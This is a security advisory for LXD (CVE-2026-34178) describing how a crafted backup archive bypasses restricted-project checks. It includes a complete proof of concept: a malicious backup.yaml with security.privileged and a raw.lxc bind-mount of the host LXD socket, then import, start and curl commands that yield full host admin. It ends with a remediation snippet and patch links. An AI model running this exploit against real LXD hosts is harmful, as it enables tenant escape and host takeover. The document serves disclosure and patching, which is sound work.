Importing a crafted backup leads to project restriction bypass

Critical **tomponline** published **GHSA-q96j-3fmm-7fv4** 5 hours ago

Package

lxd

Affected versions

>= 4.12

Patched versions

5.0.7, 5.21.5, 6.8

Description

Summary

LXD instance backup import validates project restrictions against `backup/index.yaml` embedded in the tar archive, but creates the actual instance from `backup/container/backup.yaml` extracted to the storage volume. Because these are separate, independently attacker-controlled files within the same tar archive, an attacker with instance-creation rights in a restricted project can craft a backup where `index.yaml` contains clean configuration (passing all restriction checks) while `backup.yaml` contains `security.privileged=true`, `raw.lxc` host filesystem mounts, and restricted device types. The instance is created from the unchecked `backup.yaml`, bypassing all project restriction enforcement.

Details

LXD projects support a `restricted=true` mode that enforces security boundaries on what instances within the project can do. These restrictions include blocking `security.privileged=true` containers, `raw.lxc` / `raw.apparmor` overrides, and device passthrough (GPU, USB, PCI, unix-char). These restrictions are intended to prevent container escape vectors regardless of user privilege level within the project.

The backup import path has two distinct configuration sources within a single tar archive:

1. `backup/index.yaml` - A quick-access metadata file read by `backup.GetInfo()` at `backup/backup_info.go:68`. This is the config checked against project restrictions.

2. `backup/container/backup.yaml` - The full instance configuration extracted to the storage volume and used for actual instance creation at `api_internal.go:784`.

The vulnerability exists because:

1. `AllowInstanceCreation()` at `instances_post.go:885` validates project restrictions using only `bInfo.Config` from `index.yaml`.
2. The tar contents (including `backup/container/backup.yaml`) are extracted to the storage volume at `generic_vfs.go:952` via `unpackVolume()`.
3. `UpdateInstanceConfig()` at `backup_config_utils.go:236` reads `backup.yaml` from storage but only syncs `Name`, `Project`, pool info, and volume UUIDs - it does not overwrite `Instance.Config` or `Instance.Devices`.
4. `internalImportFromBackup()` at `api_internal.go:784` reads `backup.yaml` from the storage mount path (not `index.yaml`) to build the instance database record.
5. `instance.CreateInternal()` at `api_internal.go:946` creates the instance using the config from `backup.yaml`. `CreateInternal` calls `ValidConfig` which validates config key **format** only, not project restriction compliance.

Proof of Concept

Environment setup (server admin)

These steps are performed by the LXD server administrator to set up the restricted project and grant access to the user. This represents the normal multi-tenant configuration that the exploit targets.

```
# Create a restricted project
lxc project create restricted-project \
  -c features.images=false \
  -c features.profiles=true \
  -c restricted=true

# Create a default profile with a root disk in the restricted project
lxc profile device add default root disk \
  path=/ pool=default --project restricted-project

# Create a group with instance management permissions in the restricted project
lxc auth group create poc-group
lxc auth group permission add poc-group project restricted-project can_view
lxc auth group permission add poc-group project restricted-project can_create_instances
lxc auth group permission add poc-group project restricted-project can_view_instances
lxc auth group permission add poc-group project restricted-project can_operate_instances

# Create a TLS identity for the attacker, scoped to the group
lxc auth identity create tls/poc-attacker --group poc-group
```

```
# The attacker uses it to add the remote:
# lxc remote add target-lxd <token>
```

After this setup, the attacker can create normal unprivileged instances in `restricted-project` but should not be able to create privileged containers, use `raw.lxc`, or attach GPU/USB/unix-char devices. The exploit bypasses all of these restrictions.

Steps

1. Create an instance backup archive locally

The attacker constructs the entire backup archive locally. No access to any LXD server is needed for this step.

```
# Create the backup directory structure
mkdir -p backup/container

# Build a minimal rootfs with an init system using debootstrap
sudo debootstrap --include=systemd-sysv,curl --variant=minbase jammy backup/container/ro

# Create backup index.yaml
cat >backup/index.yaml <<EOF
version: 2
name: escalated-instance
backend: dir
pool: default
type: container
optimized: false
config:
  instance:
    name: escalated-instance
    architecture: x86_64
    type: container
    config: {}
    devices: {}
    expanded_config: {}
    expanded_devices:
      root:
        path: /
        pool: default
        type: disk
    profiles:
      - default
    stateful: false
  pools:
    - name: default
      driver: dir
  volumes:
    - name: escalated-instance
      type: container
      pool: default
      content_type: filesystem
```

```
      config:
        volatile.uuid: "00000000-0000-0000-0000-000000000000"
EOF

# Create malicious `backup/container/backup.yaml`
# This is the file LXD actually uses to create the instance. It contains the
# restricted config and devices that should be blocked by the project. LXD
# never compares this file against `index.yaml` or re-validates it against
# project restrictions.

cat > backup/container/backup.yaml <<EOF
instance:
  name: escalated-instance
  architecture: x86_64
  type: container
  config:
    security.privileged: "true"
    raw.lxc: |
      lxc.mount.entry = /var/snap/lxd/common/lxd/unix.socket unix.socket none bind,creat
    raw.apparmor: ""
  devices: {}
  expanded_config:
    security.privileged: "true"
    raw.lxc: |
      lxc.mount.entry = /var/snap/lxd/common/lxd/unix.socket unix.socket none bind,creat
    raw.apparmor: ""
  expanded_devices:
    root:
      path: /
      pool: default
      type: disk
  profiles:
    - default
  stateful: false
pools:
  - name: default
    driver: dir
volumes:
  - name: escalated-instance
    type: container
    pool: default
    content_type: filesystem
    config:
      volatile.uuid: "00000000-0000-0000-0000-000000000000"
EOF

# Package the archive
tar -cf malicious-backup.tar backup/
```

2. Connect to the target LXD server and import the backup

Connect to the target LXD server and confirm restricted access:

```
# Add the target server as a remote
lxc remote add target-lxd <token>

# Confirm the attacker's restricted access (command returns restricted=true)
lxc project show target-lxd:restricted-project

# Confirm the attacker can't launch a privileged container (command should fail)
lxc launch ubuntu:22.04 target-lxd:testc --project restricted-project -c security.privil

# Import malicious backup
lxc import target-lxd: malicious-backup.tar --project restricted-project

# Verify the restricted config was accepted into the restricted project
lxc config show target-lxd:escalated-instance --project restricted-project

# Output contains:
# security.privileged: "true"
```

3. Escalate to full LXD admin

Start the container and use the LXD Unix socket, which was bind-mounted from the host via `raw.lxc`. Local connections over the Unix socket are trusted as full admin with unrestricted access across all projects.

```
lxc start target-lxd:escalated-instance --project restricted-project

# Query the LXD API via the bind-mounted Unix socket (full admin access)
lxc exec target-lxd:escalated-instance --project restricted-project -- \
  curl -s --unix-socket /unix.socket http://localhost/1.0/projects

# From here the attacker has full control: create admin certs, access
# all projects, modify any instance, or mount the host filesystem.
```

Impact

The exploit allows full host compromise from within a restricted project.
The requirement is that the user has `can_view_instances`, `can_create_instances` and `can_operate_instances` on the project -- standard permissions for any tenant expected to manage instances.

Possible remediation

Add a second `AllowInstanceCreation` (or `checkInstanceRestrictions`) call after `backup.yaml` is read from storage and before `CreateInternal` is called. In `api_internal.go`, between the `ParseConfigYamlFile` call (line 784) and the `CreateInternal` call (line 946):

```
// After parsing backup.yaml, re-validate project restrictions
// against the config that will actually be used for instance creation
err = s.DB.Cluster.Transaction(ctx, func(ctx context.Context, tx *db.ClusterTx) error {
    req := api.InstancesPost{
        InstancePut: api.InstancePut{
            Config:  backupConf.Instance.Config,
            Devices: backupConf.Instance.Devices,
        },
        Type: api.InstanceType(backupConf.Instance.Type),
    }

    return limits.AllowInstanceCreation(ctx, s.GlobalConfig, tx, projectName, req)
})
if err != nil {
    return fmt.Errorf("Backup config violates project restrictions: %w", err)
}
```

Patches

LXD Series	Interim release
6	https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1
5.21	https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1
5.0	https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1

Severity

Critical 9.1 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	High
User interaction	None
Scope	Changed
Confidentiality	High
Integrity	High
Availability	High

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-34178

Weaknesses

No CWEs

Credits

mpurg Reporter